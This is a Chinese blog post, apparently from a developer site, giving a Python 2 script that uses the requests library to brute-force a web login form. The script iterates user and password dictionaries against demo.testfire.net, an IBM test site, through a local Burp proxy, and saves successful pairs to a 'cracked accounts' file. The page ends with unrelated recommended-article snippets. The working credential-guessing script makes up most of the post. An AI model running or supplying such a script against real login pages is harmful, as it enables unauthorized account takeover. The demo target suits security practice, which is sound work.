使用 python 的request模块爆破 form 表单的简易脚本

码途觅雪使
• 阅读 3865
  1. python 的 http 中 request模块在web 表单爆破的使用方法

  2. request模块中代理的使用方式

  3. request 模块是http 中比较全的模块,简单易用,比之前文章中使用的 httplib,urllib,urllib2都要好用.可以替换为request 的 session 方法.

# -*- coding: utf-8 -*-
import requests

outFile = open('accounts-cracked.txt', 'w')
def brute_force(user, password):

    name = user.strip()#strip() 方法用于移除字符串头尾指定的字符(默认为空格)
    passwd = password.strip()
    proxy = {"http":"127.0.0.1:8080"} 
    #添加代理:本地8080端口的代理是 burp 工具,主要是查看脚本发包回包的情况,好定位问题,如果是 https 网站使用proxy = {"https":"127.0.0.1:8080"} 
    url = "http://demo.testfire.net/bank/login.aspx" #IBM 公司的一个 测试网站
    user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
    header = {"User-Agent":user_agent,"Content-Type": "application/x-www-form-urlencoded", "Referer": "http://demo.testfire.net/bank/login.aspx"}
    data = {'uid': name, 'passw': passwd,'btnSubmit':'Login'}

    response = requests.post(url,headers=header,proxies=proxy,data=data,allow_redirects=False)
    code = response.status_code

    if code == 302 or code==301:

        print '+++++ find user:', name, ' with password:',passwd, '+++++'

        outFile.write(name + ':' + passwd+'\n' )
    else:
        print '----- error user:', name, ' with password:',passwd, '-----'
    return

if __name__ == '__main__':
    with open('user.dic', 'r') as userline:
        y = userline.readlines()
        with open('pass.dic', 'r') as passline:
            b= passline.readlines()
            for u in y:
                for p in b:
                    brute_force(user=u,password=p)
outFile.close()
with open('accounts-cracked.txt','r') as text:
    list = text.readlines()
    sum=len(list)

if sum>0:
    print "找到",sum,"个账号密码"
else:
    print "All thread OK,maybe not "
点赞
收藏
评论区
推荐文章
美凌格栋栋酱 美凌格栋栋酱
6个月前
Oracle 分组与拼接字符串同时使用
SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(
虾米大王 虾米大王
3年前
java代码012
code012.jspInserttitlehere<%JSP内置对象1.request用于处理HTTP请求中的各项参数。如,删除可以通过request对象的getParameter()方法获取如,request.getParameter("id")在请求转发时,需要把一些数据传递到转发后的页面处理。就需要用到request的se
Stella981 Stella981
3年前
Scrapy Middleware用法简介
一、DownloaderMiddleware的用法DownloaderMiddleware即下载中间件,它是处于Scrapy的Request和Response之间的处理模块。!在这里插入图片描述(https://oscimg.oschina.net/oscnet/514e40
Stella981 Stella981
3年前
Scapy 从入门到放弃
0x00前言最近闲的没事,抽空了解下地表最强的嗅探和收发包的工具:scapy。scapy是一个python模块,使用简单,并且能灵活地构造各种数据包,是进行网络安全审计的好帮手。0x01安装因为2020年python官方便不再支持python2,所以使用python3安装。!(https://oscimg.oschina.net/os
Stella981 Stella981
3年前
HTTP请求中的form data和request payload的区别(request 后台无法获取参数)
转载自:btg.yoyo(https://www.oschina.net/action/GoToLink?urlhttps%3A%2F%2Fhome.cnblogs.com%2Fu%2Fbtgyoyo%2F) jQuery的ajax方法和post方法分别发送请求,在后台Servlet进行处理时结果是不一样的,比如用$.ajax方法发送请求时(dat
Stella981 Stella981
3年前
Request获取请求之前的URL地址
request.getRequestURL()、request.getRequestURI()均不行,获取的是请求的地址。使用request.getHeader("Referer")就可以正确的获取到之前请求的页面URL地址。Http协议中定义了头部的属性,其中有一个参数"Referer"记录请求之前的页面地址。In
Wesley13 Wesley13
3年前
FLV文件格式
1.        FLV文件对齐方式FLV文件以大端对齐方式存放多字节整型。如存放数字无符号16位的数字300(0x012C),那么在FLV文件中存放的顺序是:|0x01|0x2C|。如果是无符号32位数字300(0x0000012C),那么在FLV文件中的存放顺序是:|0x00|0x00|0x00|0x01|0x2C。2.  
Stella981 Stella981
3年前
Python之time模块的时间戳、时间字符串格式化与转换
Python处理时间和时间戳的内置模块就有time,和datetime两个,本文先说time模块。关于时间戳的几个概念时间戳,根据1970年1月1日00:00:00开始按秒计算的偏移量。时间元组(struct_time),包含9个元素。 time.struct_time(tm_y
Stella981 Stella981
3年前
Laravel 控制器的request
publicfunctionrequest1(Request$request){//取值$nameRequest::input('name');//是否有值if($requesthas('name')){echo$requestinput('name');}$res
Stella981 Stella981
3年前
Nginx打印请求头和响应头
http{log_formatlog_req_resp'$remote_addr$remote_user$time_local''"$request"$status$body_bytes_sent'"$http_referer""$http_user_agent"$http_x_real_
Stella981 Stella981
3年前
Logstash收集nginx访问日志和错误日志
1、收集访问日志1)、首先是要在nginx里面配置日志格式化输出log_formatmain"$http_x_forwarded_for|$time_local|$request|$status|$body_bytes_sent|$request_body|$content_length|$http_ref
码途觅雪使
码途觅雪使
Lv1
明月几时有?把酒问青天。
文章
4
粉丝
0
获赞
0